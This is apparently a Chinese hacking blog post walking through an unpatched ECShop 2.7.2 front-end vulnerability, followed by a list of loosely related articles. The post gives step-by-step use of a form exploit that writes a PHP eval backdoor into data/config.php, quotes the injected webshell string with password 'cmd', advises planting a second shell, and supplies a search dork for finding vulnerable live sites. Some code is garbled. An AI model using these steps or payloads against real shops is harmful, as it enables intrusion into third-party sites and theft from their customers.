ECSHOP号称最大的开源网店系统,官方是这样介绍它的:“ECShop网店系统是一套免费开源的网上商店软件,无论在稳定性、代码优化、运行效率、负载能力、安全等级、功能可操控性和权限严密性等方面都居国内外同类产品领先地位。

按照我的理解,作为一款网店系统,系统的安全性应该摆在很重要的位置,但ECSHOP却好像漏洞不断。就在前几天,xhming大牛又公布了一个ECSHOP前台写shell的Oday,利用漏洞获得shell非常简单,可以说是秒杀。从官方下载的ECSHOP的最新版本也存在这个漏洞,官方还没有出相应的补丁或对软件进行升级修补这个漏洞。

ECSHOP出现新漏洞对我来说是件好事,因为又有拿shell的漏洞了,哈哈。也希望ECSHOP在漏洞挖掘者的鞭策下能把ECSHOP做的更安全,更优秀,毕竟网店系统涉及网络交易,不是闹着玩的。

一、漏洞简介

出现漏洞的文件是demo目录下的index.php,代码我就不贴出来了!

关于漏洞的详细介绍请看漏洞出处。

二、漏洞利用方法

具体的漏洞分析我也不会,直接来看怎么利用这个漏洞来获得shell。目前ECSHOP的最新版本为,我危险漫步从官方下载了GBK版本的ECShop_V2.7.2pGBK Release0604,在虚拟机的PHPP环境中把ECSHOP安装了起来。

在论坛的一篇文章中xhming给出了一个漏洞利用的EXP,是一个用于提交数据的html文件,两次提交后会自动打开demo/index.php,页面上会显示phpinfo,xhming说了,提

交内容可以随意,言下之意就是你可以自己构造提交内容直接获得shell而不是象征性的执行phpinfo()函数。但并不是每个人都会构造直接获得shell的提交内容,好在Mr.LP在xhming的EXP的基础上修改后给出了可以直接获得shell的EXP。

使用方法:

1.修改form中action的内容为需要网址。

2.提交表单一次。

3.连接一句话木马,密码为cmd。把上面代码保存为exp.html,直接打开发现有乱码。把“charset=utf-8”修改为“charset=gbk”后乱码问题解决了。

用记事本打开exp.html,把提交地址修改为我虚拟机中ECSHOP的提交地址,保存修改后打开exp.html,点“提交”按钮后显示的结果,会把php-句话木马写到data目录下的config.php文件中,用lanker-句话PHP后门客户端连接,密码cmd,发现php-句话木马不能用。

在页面按网页浏览器的后退按钮来到exp.html,点“提交”按钮再提交一次数据。提交完数据后再次用lanker-句话PHP后门客户端连接,这次获得了shell)。

原来要提交两次才能获得shell,这里要注意一下。

通过比较原来的data目录下的config.php和获得shell后的config.php,发现通过两次提交数据向config.php中写入了下面的数据:define('EC_LANGUAGEI',.);@eVal($一POST[cmd]);#');@eval($_POST[cmdl);#’);。建议用获得的shell上传另一个shell上去。然后去掉config.php中新写入的数据。

通过搜索“Powered by ECShop v2,7.2”等可能找到存在这个漏洞的网站。ecshop的前台写shell 0day危险漫步就给大家介绍到这里,自己有ECSHOP网站的朋友等官方出了这个漏洞的补丁后快打上吧,漏洞很严重。这个漏洞利用起来非常简单,只需要写上目标网站的地址点两次“提交”按钮就获得了shell,对存在这个漏洞的网站可以说是秒杀。希望在利用这个漏洞拿shell时不要对网站造成破坏,如果能知道出现这个漏洞的原因并且学习漏洞利用的方法和思路就更好了。

秒杀ecshop的前台写shell 0day的更多相关文章

  1. 使用C#给Linux写Shell脚本(下篇)

    在上篇的<使用C#给Linux写Shell脚本>结尾中,我们留下了一个关于C#如何调用BashShell的问题.在文章发布之后,我留意到有读者留言推荐使用“Pash”(一款类PowerSh ...

  2. 写shell脚本速查笔记

    linux shell脚本的语法蛋疼,而且对于java开发人员来说又不常用,常常是学了一次等到下次用的时候又忘记了.因此制作这个速查笔记,用于要写shell脚本时快速回忆&速查. 获取当前脚本 ...

  3. python中写shell(转)

    python中写shell,亲测可用,转自stackoverflow To run a bash script, copy from stackoverflow def run_script(scri ...

  4. 写shell,运行出错:syntax error near unexpected token `$’do\r”

    cygwin下面写shell,运行出错:syntax error near unexpected token `$’do\r” 写shell,运行出错:syntax error near unexpe ...

  5. 十分钟学会写shell脚本

    大家好!我是handsomecui,下面我为大家讲解一下shell脚本的写法,讲的不好的地方,欢迎大家留言拍砖. 1.在linux下会写shell脚本是非常重要的,下面我参照例子给大家展示几个脚本,顺 ...

  6. 涨姿势:抛弃字母、数字和下划线写SHELL

    PHP中异或 (^) 的概念 <?php echo"A"^"?";?> <?php echo"A"^"?&quo ...

  7. SQL语句利用日志写shell

    outfile被禁止,或者写入文件被拦截: 在数据库中操作如下:(必须是root权限) show variables like '%general%'; #查看配置 set global genera ...

  8. upupw phpmyadmin写shell

    废话: upupw给我的感觉是一个充当了waf毁三观的垃圾程序.然而,我讨厌的程序,管理员都特别喜欢用. 你会发现直接用之前那套写shell的建表然后在值里添加shell代码写到一个路径不可以了. C ...

  9. win环境下使用sqlmap写shell + MYSQL提权(默认就是system权限)

    今天在来一个mysql提权 (也可以说是默认system权限提的) 在被黑站点找到一个站   先教拿shell是有注入漏洞的 有可能是root权限的注入点 可以确定是有注入漏洞的 也得到了 物理路径 ...

随机推荐

  1. IIS--互联网信息服务

    IIS--互联网信息服务 1.IIS是微软出品的一个服务器插件 2.IIS的功能:1)发布web网站 2)发布ftp站点 WEB服务器:1.监听TCP80端口 --- http://www.baidu ...

  2. warning: ISO C++ forbids converting a string constant to 'char*' [-Wwrite-strings]

    在C++中, char* p = "abc"; // valid in C, invalid in C++ 会跳出警告:warning: ISO C++ forbids conve ...

  3. 2018-2019-1 20189208《Linux内核原理与分析》第九周作业

    活动 main函数编译有问题,div 函数和系统中某个函数重名,浮点输出有问题,scanf也有问题 修改如下 scanf_s("%d %d", &a, &b); p ...

  4. NB-IoT省电模式:PSM、DRX、eDRX【转】

    转自:https://blog.csdn.net/zoomdy/article/details/80447372 NB-IoT支持三种省电模式:PSM (Power Saving Mode,省电模式) ...

  5. Lua中的迭代器与泛型for

    [前言] 迭代器就是一种可以遍历一种集合中所有元素的机制,在Lua中,通常将迭代器表示为函数.每调用一次函数,就返回集合中的“下一个”元素.每个迭代器都需要在每次成功调用之后保存一些状态,这样才能知道 ...

  6. Fatal error: cannot initialize AIO sub-system

    在一台服务器中以各数据库的备份文件为数据文件启动多个MySQL实例供SQL Review使用.之前运行一直没有问题(最多的时候有23个MySQL实例同时运行),后来新配置了一台服务器,启动其对应的实例 ...

  7. activiti工作流笔记

    什么是activiti? Activiti是一个身经百战的业务流程管理引擎, 并且还是一个流程平台 为什么要用工作流引擎? 简单来说,就是为了统一管理流程业务. 想想看,如果要设计一个流程的程序,通常 ...

  8. tp5分页后数据处理

  9. LayUi前端框架删除数据缓存问题(解决删除后刷新页面内容又会显示问题)

    form.on('submit(mySearch)', function(data){ table.reload('userTable', {//就会读取后台数据,重新加载: page: { curr ...

  10. c++ ignore用法

    转自  http://blog.sina.com.cn/s/blog_4b3336c50102v45n.html std::cin.ignore() can be called three diffe ...